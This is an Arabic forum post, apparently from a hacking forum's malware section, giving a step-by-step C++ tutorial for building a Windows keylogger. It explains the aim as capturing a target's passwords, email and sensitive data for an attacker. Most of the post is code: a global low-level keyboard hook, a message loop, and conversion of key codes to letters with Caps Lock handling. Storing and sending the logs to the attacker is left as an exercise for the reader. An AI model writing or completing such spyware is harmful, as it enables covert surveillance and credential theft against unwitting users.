lol
./عضو جديد


السمعة:
- إنضم17 فبراير 2024
- المشاركات 3
- مستوى التفاعل 10
- النقاط 3
بسم الله الرحمن الرحيم
شرح كيفية صنع KeyLogger بلغة Cpp
ماهو ال KeyLoger ؟شرح كيفية صنع KeyLogger بلغة Cpp
باختصار هو أحد أشكال البرامج الضارة أو الأجهزة التي تقوم بتتبع وتسجيل ضغطات المفاتيح أثناء الكتابة.
استخداماته:
باستخدام هذا البرنامج يستطيع المخترق الحصول على العديد من المعلومات منها كلمة المرور و البريد الالكتروني و بعض المعلومات الحساسة
يعتمد هذا باعتبار أن المستهدف سيقوم بكتابة المعلومات المرادة و بالتالي سيقوم البرنامج بتسجيل الإدخال و تخزينه ومن ثم إرسالة إلى المخترق
المتطلبات:
لتحويل هذه الفكرة إلى برنامج باستخدام cpp يجب توفّر متطلباتها لديك، وهي:
1- أساسيات Cpp
2- أساسيات في Windows Api
مبدئيًا هذا البرنامج سيقوم بتسجيل إدخالات المستهدَف للوحة المفاتيح , ونقل هذه المعلومات إليك لن يتم شرحها

- كيفية عمل نظام Windows في استقبال الإدخال من لوحة المفاتيح ومعالجته:
1-استقبال الإدخال من لوحة المفاتيح
عندما يقوم المستخدم بالضغط على زر من لوحة المفاتيح، يتم إرسال إشارة إلى نظام التشغيل Windows. يعترف Windows بالضغطة على انها حدث يجب معالجته.
2-معالجة الإدخال
بمجرد استقبال الإشارة، يقوم نظام التشغيل بتحويل الإدخال إلى رمز يمثل الزر المضغوط وتسمى Virtual-Key Code
Virtual-Key Code هي سلسلة من الرموز الرقمية التي تمثل المفاتيح على لوحة المفاتيح في نظام Windows، وتُستخدم للتعرف على المفاتيح المضغوطة ومعالجتها بشكل صحيح من قبل البرامج.
3-إرسال الإدخال إلى النافذة المستهدفة
بمجرد تحويل الإدخال إلى Virtual-Key Codes، يتم إرسال هذه المعلومات إلى النافذة المستهدفة.
على سبيل المثال، إذا كان المستخدم يقوم بكتابة في متصفح الويب مثل Google Chrome، فإن النص الذي تم إدخاله سيتم توجيهه إلى نافذة المتصفح.
4-معالجة الإدخال بواسطة النافذة
بمجرد وصول الإدخال إلى النافذة، يقوم التطبيق المستهدف (مثل المتصفح) بمعالجة الإدخال بطريقة معينة. يمكن أن يتم عرض النص المدخل على شكل صفحة ويب أو استخدامه في أي عملية أخرى تدعمها النافذة.
فهم هذه العمليات يمكن أن يساعد في تطوير Keylogger بفعالية، حيث يجب على البرنامج أن يتمكن من التقاط الإدخال بعدها يتم تحويله إلى Virtual-Key Codes. ثم تحويله الى حرف مثل A وذالك ليس امرآ صعباً
معلومات:
البرنامج بسيط جدًا وسهل لدرجة أنني أخجل من وضعه في قسم البرمجيات الخبيثة
1-Hook
أولًا سنقوم باعتراض جميع الإدخالات قبل أن تصل إلى النافذه كيف ذلك؟
الموضوع جدًا سهل ولا يتطلب مهارات في الاختراق أو الهندسة العكسية فقط وظيفة واحدة في windows api وهي SetWindowsHookExW
2-KeyboardProc
قبل البدء نحتاج وظيفة KeyboardProc وهي الوظيفة التي سننمررها للـ Hook و بالتالي سيقوم ال windows بالإتصال بها كل مرة يتم فيها الضغط على أي زر في لوحة الفاتيح ويجب أن تحتوي على برامتر معينة كما هو موضح في http://learn.microsoft.com وهذه البرامتر تحتوي على معلومات منها Virtual-Key Code وهذا مانريد
3-برامتر KeyboardProc
code: يحدد نوع الحدث الذي يتم معالجته، ف إذا كانت قيمته صفرًا، فهذا يعني أن الرسالة موجهة للهوك الخاص بنا.
wParam: يحدد نوع الحدث، مثل WM_KEYDOWN للضغط على مفتاح، أو WM_KEYUP لرفع الضغط عن مفتاح.
lParam: يحمل معلومات إضافية حول الحدث، مثل Virtual-Key Code وحالة المفاتيح الأخرى.
4-برامتر SetWindowsHookExW
idHook: يحدد نوع الهوك الذي يتم تثبيته. مثال على ذلك WH_KEYBOARD_LL لهوك لوحة المفاتيح.
lpfn: يشير إلى الدالة الإنتقائية (callback function) التي سيتم استدعاؤها في هذه الحالة سيكون KeyboardProc .
hMod: يحدد HANDLE المكتبة (DLL) التي تحتوي على الدالة الإنتقائية. يمكن تعيينه عادةً إلى NULL إذا كانت الدالة الإنتقائية موجودة في نفس التطبيق.
dwThreadId: يحدد (Thread ID) الذي يرتبط به الهوك، يمكن تعيينه إلى 0 لتثبيت الهوك على جميع Thread في النظام.
لمزيد من التفاصيل: learn.microsoft
Code:
1-إنشاء KeyboardProc
C++:
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
}
2-استخدام SetWindowsHookExW
C++:
#include <Windows.h>
#include <iostream>
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
}
int main() {
HHOOK hook = SetWindowsHookEx(WH_KEYBOARD_LL, &KeyboardProc,0, 0);
return 0;
}
3-استقبال الرسائل من Windows
باختصار الويندوز الآن سيرسل رسالة إلى ال KeyboardProc في كل مرة يتم الضغط على زر لوحة المفاتيح ونحتاج فقط لاستقبال هذه الرسائل
C++:
#include <Windows.h>
#include <iostream>
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
}
int main() {
HHOOK hook = SetWindowsHookEx(WH_KEYBOARD_LL, &KeyboardProc,0, 0);
while (true)
{
MSG msg{};
GetMessage(&msg, 0, 0, 0);
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return 0;
}
4-معالجة WM_KEYDOWN
الآن سيقوم الويندوز بإلاتصال (Call) بوظيفة (function) KeyboardProc مرتين كل مرة يتم الضغط على أي زر في لوحة المفاتيح
ولكن لماذا مرتين.؟ السبب باختصار لأنه عند الضغط على المفتاح (WM_KEYDOWN) سيتصل بي KeyboardProc و عند الرفع من الزر (WM_KEYUP) أيضاً سيتصل مره أخرى على KeyboardProc وذلك سيسبب تكرار للإدخال
لذلك نحتاج أن نحل هذه المشكلة والحل بسيط جداً
C++:
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
if (wParam==WM_KEYDOWN)
{
}
}
5-معالجة lParam
كما قلت بالسابق IParam يحمل معلومات إضافية حول الحدث، مثل Virtual-Key Code وحالة المفاتيح الأخرى.
الآن نريد استخراج ال Virtual-Key Code منه
باستخدام
C++:
KBDLLHOOKSTRUCT* pKbStruct = (KBDLLHOOKSTRUCT*)lParam;
KBDLLHOOKSTRUCT : هو بنية (structure) تحتوي على معلومات الادخال , منها :
DWORD vkCode: يمثل Virtual-Key Code. على سبيل المثال، VK_A لزر A كما هو موضح في Virtual-Key Code.
DWORD scanCode: يمثل الرمز الذي يمثل المفتاح المضغوط في لوحة المفاتيح.
DWORD flags: يمثل مؤشرات إضافية تعطي معلومات حول الأحداث مثل حالة مفاتيح التحكم مثل CTRL، SHIFT، وما إلى ذلك.
DWORD time:وقت الرسالة (بالميلي ثانية).
ULONG_PTR dwExtraInfo: بيانات إضافية مرتبطة بالأحداث، عادة ما تكون مرتبطة بإرسال الحدث.
مانريدة هو vkCode لذا فل نحول ال lParam الى KBDLLHOOKSTRUCT
ثم نقوم بطباعة vkCode باستخدام std::cout
C++:
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
if (wParam==WM_KEYDOWN)
{
KBDLLHOOKSTRUCT* pKbStruct =(KBDLLHOOKSTRUCT*)lParam;
DWORD virtual_key_code = pKbStruct->vkCode;
std::cout << pKbStruct->vkCode;
}
return 0;
}
كما ترى الرموز التي على اليسار تمثل ال vkCode بينما كلمة hello.world هي ترجمة هذه الرموز
تحويل vkCode إلى أحرف مفهومة:
للقيام بذلك يجب أن نعرف كل vkCode وما يعنية لذا لنذهب إلى موقع مايكروسوفت ولنرى ماذا تعني هذه الرموز هل فعلًا تعني hello.world ؟
بعد زيارة الموقع لنذهب إلى أول حرف h ولنرى vkCode المقابل له سنجد 0x48 H key أي أن h=0x48 وهي قيمة ستة عشرية (hex) لتحويلها لعدد عشري (dec) ستساوي 72 وهو مايتوافق مع أول رمزين وكذلك الامر لباقي الرموز.
برمجياً
للقيام بذلك سنقوم باستخدام switch و مقارنة ال vkCode مع الرموز الخاصة بالأحرف المراد تسجيلها مثال:
سنقوم بتحويل الرمز 72 والذي يعني h إلى حرف h فعلًا ولكن بدلاً من مقارنة vkCode مع 72 لمعرفة إذا vkCode =H نستطيع استخدام 'H' مثال
كود:
switch (virtual_key_code)
{
case 'H':
std::cout << 'H';
break;
default:
std::cout << pKbStruct->vkCode;
break;
}
كما ترى بدلاً من استخدام 72 استخدمت H وهذا يجعل الكود أسهل
استخدمنا H كبيرة h الصغيرة لن تعمل وهذا في جميع الحروف
الآن سنطبق هذا على جميع الحروف
كود:
switch (virtual_key_code)
{
case 'A':
std::cout << 'A';
break;
case 'B':
std::cout << 'B';
break;
case 'C':
std::cout << 'C';
break;
case 'D':
std::cout << 'D';
break;
case 'E':
std::cout << 'E';
break;
case 'F':
std::cout << 'F';
break;
case 'G':
std::cout << 'G';
break;
case 'H':
std::cout << 'H';
break;
case 'I':
std::cout << 'I';
break;
case 'J':
std::cout << 'J';
break;
case 'K':
std::cout << 'K';
break;
case 'L':
std::cout << 'L';
break;
case 'M':
std::cout << 'M';
break;
case 'N':
std::cout << 'N';
break;
case 'O':
std::cout << 'O';
break;
case 'P':
std::cout << 'P';
break;
case 'Q':
std::cout << 'Q';
break;
case 'R':
std::cout << 'R';
break;
case 'S':
std::cout << 'S';
break;
case 'T':
std::cout << 'T';
break;
case 'U':
std::cout << 'U';
break;
case 'V':
std::cout << 'V';
break;
case 'W':
std::cout << 'W';
break;
case 'X':
std::cout << 'X';
break;
case 'Y':
std::cout << 'Y';
break;
case 'Z':
std::cout << 'Z';
break;
default:
std::cout << pKbStruct->vkCode;
break;
}
لنحاول كتابة hello world مرة أخرى ولنرى النتائج:
HELLOW32WORLD هذا هي النتائج 32 يمثل مسافة نستطيع إضافة ذلك إلى switch الخاص بنا
بالنظر إلى النتائج نستطيع معرفة أن هناك مشكلة كبيرة ألا وهي أن البرنامج الخاص بنا لايميز بين الأحرف الكبيرة و الأحرف الصغيرة وهذا يمثل مشكلة خصوصاً مع كلمات المرور
معالجة مشكلة الأحرف الكبيرة و الصغيرة
لحل هذه المشكلة سننشئ وظيفة (function) سنسميها مثلاً CapsLock_On وتعمل على ارجاع قيمة (return) وتكون:
صحيح (true) إذا كان CapsLock مفعّل وخطأ (false) إذا كان غير مفعل
وسنستخدم وظيفة(function) GetKeyState , تستقبل برامتر واحد : nVirtKey: رمز لمفتاح لوحة المفاتيح( vkCode ).
الإرجاع (return):
تُعيد الوظيفة (function) قيمة من نوع SHORT، والتي تحتوي على معلومات حول حالة المفتاح.
تقسم إلى قسمين :
البت الأكثر أهمية (High-Order Bit):
إذا كان البت الأكثر أهمية في قيمة المفتاح المُرجَعة (return value) يساوي 1، فذلك يعني أن المفتاح مضغوط حاليًا (Down).
إذا كان البت الأكثر أهمية يساوي 0، فذلك يعني أن المفتاح غير مضغوط (Up).
البت الأقل أهمية (Low-Order Bit):
إذا كان البت الأقل أهمية في قيمة المفتاح المُرجَعة (return value) يساوي 1، فذلك يعني أن المفتاح "مفعل" (Toggled).
على سبيل المثال، يُعتبر مفتاح CAPS LOCK مفعل إذا كان 1 ، ويكون المُفتاح غير مفعل (Untoggled) إذا كان البت الأقل أهمية يساوي 0.
بمعرفة هذا لننشئ وظيفة (function) CapsLock_On
C++:
bool CapsLock_On()
{
SHORT capsLock_State = GetKeyState(VK_CAPITAL);
return capsLock_State & 0x0001;
}
&0001 تستخدم لاستخراج البت الأقل أهمية(Low-Order Bit)
الآن لنطبق هذا على switch الخاص بنا و سنتعامل مع المسافة أيضاً
كود:
switch (virtual_key_code)
{
case 'A':
if (CapsLock_On())
std::cout << 'A';
else
std::cout << 'a';
break;
case 'B':
if (CapsLock_On())
std::cout << 'B';
else
std::cout << 'b';
break;
case 'C':
if (CapsLock_On())
std::cout << 'C';
else
std::cout << 'c';
break;
case 'D':
if (CapsLock_On())
std::cout << 'D';
else
std::cout << 'd';
break;
case 'E':
if (CapsLock_On())
std::cout << 'E';
else
std::cout << 'e';
break;
case 'F':
if (CapsLock_On())
std::cout << 'F';
else
std::cout << 'f';
break;
case 'G':
if (CapsLock_On())
std::cout << 'G';
else
std::cout << 'g';
break;
case 'H':
if (CapsLock_On())
std::cout << 'H';
else
std::cout << 'h';
break;
case 'I':
if (CapsLock_On())
std::cout << 'I';
else
std::cout << 'i';
break;
case 'J':
if (CapsLock_On())
std::cout << 'J';
else
std::cout << 'j';
break;
case 'K':
if (CapsLock_On())
std::cout << 'K';
else
std::cout << 'k';
break;
case 'L':
if (CapsLock_On())
std::cout << 'L';
else
std::cout << 'l';
break;
case 'M':
if (CapsLock_On())
std::cout << 'M';
else
std::cout << 'm';
break;
case 'N':
if (CapsLock_On())
std::cout << 'N';
else
std::cout << 'n';
break;
case 'O':
if (CapsLock_On())
std::cout << 'O';
else
std::cout << 'o';
break;
case 'P':
if (CapsLock_On())
std::cout << 'P';
else
std::cout << 'p';
break;
case 'Q':
if (CapsLock_On())
std::cout << 'Q';
else
std::cout << 'q';
break;
case 'R':
if (CapsLock_On())
std::cout << 'R';
else
std::cout << 'r';
break;
case 'S':
if (CapsLock_On())
std::cout << 'S';
else
std::cout << 's';
break;
case 'T':
if (CapsLock_On())
std::cout << 'T';
else
std::cout << 't';
break;
case 'U':
if (CapsLock_On())
std::cout << 'U';
else
std::cout << 'u';
break;
case 'V':
if (CapsLock_On())
std::cout << 'V';
else
std::cout << 'v';
break;
case 'W':
if (CapsLock_On())
std::cout << 'W';
else
std::cout << 'w';
break;
case 'X':
if (CapsLock_On())
std::cout << 'X';
else
std::cout << 'x';
break;
case 'Y':
if (CapsLock_On())
std::cout << 'Y';
else
std::cout << 'y';
break;
case 'Z':
if (CapsLock_On())
std::cout << 'Z';
else
std::cout << 'z';
break;
case VK_SPACE:
std::cout << ' ';
break;
default:
std::cout << '?';
break;
}
وفي النهاية نستطيع القول أن البرنامج اكتمل تقريباً تبقى فقط إضافة باقي الرموز و الأرقام الموجودة في الكيبورد إلى switch وتخزين هذه المعلومات بدلاً من طباعتها ثم نقلها إليك وهذا سأتركه لك حتى تقوم به بنفسك.
هذا والله أعلم والصلاة والسلام على نبينا محمد
التعديل الأخير بواسطة المشرف: